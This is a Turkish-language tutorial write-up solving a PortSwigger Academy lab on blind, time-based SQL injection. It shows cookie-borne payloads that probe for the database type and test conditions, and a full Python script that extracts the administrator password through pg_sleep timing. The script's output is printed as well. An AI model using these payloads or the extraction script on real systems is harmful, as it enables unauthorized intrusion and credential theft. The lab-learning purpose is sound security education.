> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/blind-sql-injection/blind-sql-injection-with-time-delays-and-information-retrieval-cozumu.md).

# Blind SQL injection with time delays and information retrieval Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Blind SQL Injection varmış. tracking cookie değerini kullanarak kullanıcıyı takip ediyormuş ve bu değeri SQL sorgusuna dahil ediyormuş. Burada SQL Injection yapıcaz demek. Site hatada veya farklı sorgularda aynı cevabı veriyormuş. Ama sorgulara time delay(gecikme) ekleyerek sorgu başarılı mı anlayabilirmişiz. Bizden users tablosunda administrator kullanıcısının şifresini bulup bunla giriş yapmamızı istiyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/m1paFW2aAXeBNdMtk80N" alt=""><figcaption></figcaption></figure>

Sayfayı yenieyip, burp proxy ile isteği yakalayıp repeater’a atıyoruz.

<figure><img src="/files/r2Z1A25vhRaG7VpnM2z8" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET / HTTP/2
Host: 0ad800c903673ddc84b7461800de0040.web-security-academy.net
Cookie: TrackingId=7X7CBWb5OpaAihAl; session=n7gR5pDbE3U1nvLK5KKOhK5Nb50U4Rj2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://portswigger.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
```

Burada TrackingId değerinden Blind SQL Injection yapıcaz.

Şimdi temel mantık şu; veritabanına sorduğumuz sorunun doğru ise gecikmeli gelmesini istiyoruz cevabın. Bunun için **Conditional time delays kullanmamız** lazım, cheatsheet’deki örnekleri kullanabiliriz.

İlk önce normal time delay fonksiyonlarını kullanarak hangi veritabanı onu anlayalım:

(Kendi TrackingId'nizi buraya yazın veya silip sadece tek tırnakla başlayın.) `' || (dbms_pipe.receive_message(('a'),10))--`

Cevap hemen geldi, beklemedi demek ki DBMS Oracle değil. Diğerlerini sırayla deneyelim. Tabi sleep komutunu verme stratejimizi değiştirmeliyiz; MSSQL, PostgreSQL ve MySQL'de **stacked queries (yığın sorgu)** kullanmamız lazım. MSSQL'de `WAITFOR DELAY` zaten ayrı çalışması gereken bağımsız bir komuttur. PostgreSQL ve MySQL'de ise fonksiyonları araya sıkıştırmaya çalışıp veri tipi hatalarıyla uğraşmak yerine, sorguyu noktalı virgülle (`;`) bitirip uyuma emrini yepyeni bir sorgu olarak vermek en temizi olur.

Şimdi Microsoft(MSSQL) ile devam edelim:

(Önemli Detay: Burp Suite'te payload'umuzu doğrudan `TrackingId=id'; WAITFOR...` şeklinde yazarsak, HTTP protokolü noktalı virgülü (`;`) bir 'çerez ayırıcı' olarak görecek ve payload'umuzu veritabanına ulaşmadan paramparça edecektir. Bunu çözmek için noktalı virgülü URL Encode ederek **`%3B`** şeklinde yazıyoruz. )

`'%3b WAITFOR DELAY '0:0:10'--`

Yine cevap hemen geldi MSSQL de değilmiş.

PostgreSQL’i deneyelim:

`'%3b SELECT pg_sleep(10)--`

Cevap gecikmeli geldi, demek ki bu lab PostgreSQL kullanıyormuş.

<figure><img src="/files/d9i0LrE1CHJF4gKE3yF0" alt=""><figcaption></figcaption></figure>

Artık PostgreSQL için conditional time delay deneyebiliriz. Test edelim 1=1 kondisyonu ile:

`'%3b SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--;`

10 saniye gecikme oldu. Artık kondisyon koyabiliriz.

İlk amacımız şifrenin uzunluğunu öğrenmek olmalı, artık 20 harf olduğunu her labda gördük o yüzden direk 20 harf mi doğrulama için test edelim

`'%3b SELECT CASE WHEN (LENGTH((SELECT password FROM users WHERE username='administrator'))=20) THEN pg_sleep(3) ELSE pg_sleep(0) END--`

3 saniye gecikmeli geldi, 20’ymiş uzunluğu. Şimdi harf harf denetmemiz lazım. Bunun için `SUBSTRING` kullanıcaz.

Labları çözerken hep admin şifresinde sabit bir regex vardı, a-z arası harfler(küçük) ve rakamlar(0-9) kullanılmıştı. Olasılık hesaplarsak 20(şifre uzunluğu)x36(karakter)=720 tane muhtemel deneme yapmamız gerekiyor. Bu sebeple Burp Community versiyonundaki yavaşlatılmış Intruder’ı kullanmak işimizi yavaşlatır. Python scripti hazırlayalım.

Atacağımız sorgu şöyle olmalı:

`'%3b SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END--`

Bunu python ile şu şekilde bir kodla otomatize edebiliriz:

```python
import requests
import time
import urllib3

# SSL uyarılarını gizlemek için (isteğe bağlı)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Kendi URL ve Session bilgilerinle değiştir
url = "<https://0ad800c903673ddc84b7461800de0040.web-security-academy.net/>"
session_cookie = "n7gR5pDbE3U1nvLK5KKOhK5Nb50U4Rj2" 

alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

print("Zaman tabanlı şifre kırma işlemi başlatıldı...")

for i in range(1, 21): # Şifrenin 20 karakter olduğunu artık biliyoruz
    for char in alphabet:
        # SUBSTRING fonksiyonu ile şifrenin i. karakterinin 'char' olup olmadığını soruyoruz
        payload = f"'%3b SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN pg_sleep(3) ELSE pg_sleep(0) END--"
        
        cookies = {
            "TrackingId": payload,
            "session": session_cookie
        }
        
        # İsteği gönderiyoruz
        r = requests.get(url, cookies=cookies, verify=False)
        
        # Zaman kontrolü yapıyoruz. Ağ gecikmelerini (latency) hesaba katarak payı biraz geniş tutuyoruz (2.5 saniye)
        if r.elapsed.total_seconds() >= 2.5:
            password += char
            print(f"[{i}/20] Doğru harf bulundu! Şifre şu an: {password}")
            break # Doğru harfi bulduk, alfabedeki diğer harfleri denemeden bir sonraki pozisyona (i) geç

print(f"\\nİşlem tamamlandı! Administrator şifresi: {password}")
```

(Önemli Not: Burada 3 saniye gecikme de bıraktım. Daha kısaltırsak bir istekte ağ nedenli gecikme olma durumunda yanlış bir harfi doğru alabilir. Zaten sadece doğru harf gelirse 3 sn bekleyeceği için bu bize sadece 20x2 den 40 saniye kaybettirebilir.)

```bash
emre@emre-ThinkPad-T14-Gen-5:~/Desktop$ python3 script.py
Zaman tabanlı şifre kırma işlemi başlatıldı...
[1/20] Doğru harf bulundu! Şifre şu an: f
[2/20] Doğru harf bulundu! Şifre şu an: f5
[3/20] Doğru harf bulundu! Şifre şu an: f5e
[4/20] Doğru harf bulundu! Şifre şu an: f5ez
[5/20] Doğru harf bulundu! Şifre şu an: f5ezr
[6/20] Doğru harf bulundu! Şifre şu an: f5ezrq
[7/20] Doğru harf bulundu! Şifre şu an: f5ezrqn
[8/20] Doğru harf bulundu! Şifre şu an: f5ezrqnx
[9/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq
[10/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9
[11/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e
[12/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5
[13/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5j
[14/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5je
[15/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jek
[16/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jekd
[17/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jekdc
[18/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jekdc7
[19/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jekdc75
[20/20] Doğru harf bulundu! Şifre şu an: f5ezrqnxq9e5jekdc75o

İşlem tamamlandı! Administrator şifresi: f5ezrqnxq9e5jekdc75o
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın.

<figure><img src="/files/bgZR20V1Oz5cvi07I2f5" alt=""><figcaption></figcaption></figure>
